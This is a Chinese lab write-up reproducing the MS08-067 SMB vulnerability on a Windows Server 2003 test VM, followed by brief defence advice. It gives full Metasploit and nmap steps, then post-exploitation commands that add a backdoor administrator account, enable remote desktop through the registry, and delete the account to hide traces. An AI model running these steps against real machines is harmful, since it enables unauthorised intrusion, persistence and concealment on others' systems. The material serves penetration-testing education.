MS08-067漏洞复现及防御机制

1. 漏洞背景

1.1 漏洞概述

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。

1.2 漏洞原理

MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NetPathCanonicalize()函数时触发的。NetPathCanonicalize()函数在远程访问其它主机时,会调用NetpwPathCanonicalize()函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。

所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。

在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

详细请看:

https://www.cnblogs.com/justforfun12/p/5239941.html

https://bbs.pediy.com/thread-251219.htm

https://www.freebuf.com/vuls/203881.html

1.3 影响范围

它影响了某些旧版本的Windows系统,包括:Windows 2000 、Windows XP 、Windows Server 2003。

2. 前置知识

2.1 常见的端口

黑客通过端口可以做信息收集、目标探测、服务判断、系统判断、角色分析。

2.2 445端口

135、137、138、139和445端口都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest 帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。

3. 漏洞复现

3.1 环境配置

攻击机:Kali Linux x64(IP地址:192.168.193.128)

靶机:Windows Server 2003 x86 企业版(IP地址:192.168.193.132)

利用工具:MSF

3.2 复现准备

打开Windows Server 2003,确定445端口开启:

1
netstat -an

关闭Win 2003系统的防火墙:

3.3 复现过程

利用nmap扫描靶机的端口及确认该漏洞是否存在。

1
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.193.132 --open
  • -n:不要进行DNS解析
  • -p:后接端口号
  • —script:使用脚本进行扫描
  • —open:仅显示打开(或可能打开)的端口

nmap漏扫脚本目录默认为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示漏洞存在且可以利用。

当然,我们一开始肯定不知道这么多信息,还不会用这么长的命令,那我们可以先确定靶机开放的端口和版本号。

1
nmap -sV -Pn 192.168.193.132
  • -sV:探测打开的端口以确定服务/版本信息
  • -Pn:将所有主机视为在线,也就是跳过主机发现

做安全行业的,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。要是实在不知道,那我们还可以查百度嘛。

进入MSF,搜索MS08-067,这些步骤都在 CVE-2019-0708 都讲过,不再赘述。

1
2
msfconsole
search ms08-067

查找到一个漏洞利用模块。

1
2
3
use exploit/windows/smb/ms08_067_netapi
show options
show targets

查看选项,缺少rhosts,所以要设置靶机IP。

1
set rhosts 192.168.193.132 

查看目标,找到与靶机匹配的信息。刚才我们已经用nmap -sV知道靶机是Windows Server 2003系统,但还是不知道具体信息(所以这种情况怎么才能知道具体信息?)。由于我知道靶机是Win 2003 SP2的,所以直接选目标74,如果实在没有更多信息那设置为自动目标(0)就好。

1
2
set target 74
run/exploit

成功控制住靶机。我们可以用Linux或Windows窗口命令查看靶机的基本信息。

1
2
3
ipconfig/ifconfig	#查看IP地址
pwd #查看当前所在位置
sysinfo #查看操作系统信息

后来做了set target 0的实验,MSF会自动检测系统版本并选择目标,但它默认选择English版本,这可能是没有成功建立会话的原因之一。

此时将它修改为74也不行了,提示我们“这很可能意味着先前的攻击尝试导致服务崩溃”。

如果多run几次还会导致Win 2003系统内存溢出错误。

这种情况好像只能等靶机重新开机,才能利用前几次攻击失败的经验继续渗透。

3.3.1 创建文件

尝试在靶机上创建文件夹和文件。

1
2
3
4
mkdir hacker
cd hacker
shell #进入靶机命令窗口
echo v5le0n9>test.txt

3.3.2 创建用户

Windows DOM用户常用命令如下:

  • net user abcd 1234 /add
    新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
  • net user abcd /del
    将用户名为abcd的用户删除
  • net user abcd /active:no
    将用户名为abcd的用户禁用
  • net user abcd /active:yes
    激活用户名为abcd的用户
  • net user abcd
    查看用户名为abcd的用户的情况
  • net localgroup administrators abcd /add
    将abcd账户给予管理员权限

创建一个名为v5le0n9,密码为123456的普通用户,给予管理员权限。

1
2
net user v5le0n9 123456 /add	#增加普通用户
net localgroup administrators v5le0n9 /add #提升管理员权限

在Win 2003中能看到新创建了一个用户v5le0n9。

1
2
3
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat	# 开启远程连接
netstat -an # 查看网络端口
rdesktop 192.168.193.132 # 远程连接

开启远程连接3389端口,使用Kali远程登录靶机。

最后一定要把我们新建的用户名删除,假装没来过。

1
net user v5le0n9 /del

虽然不能远程登录了,但靶机C:\Documents and Settings目录下还是有v5le0n9文件夹,怎么删不掉呢?!

4. 防御方法

  • 关闭相关端口、安装杀毒软件和补丁
  • 在防火墙中进行流量监测,主要是针对数据包中存在的形如“\ ** \ … \ … \ *”这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配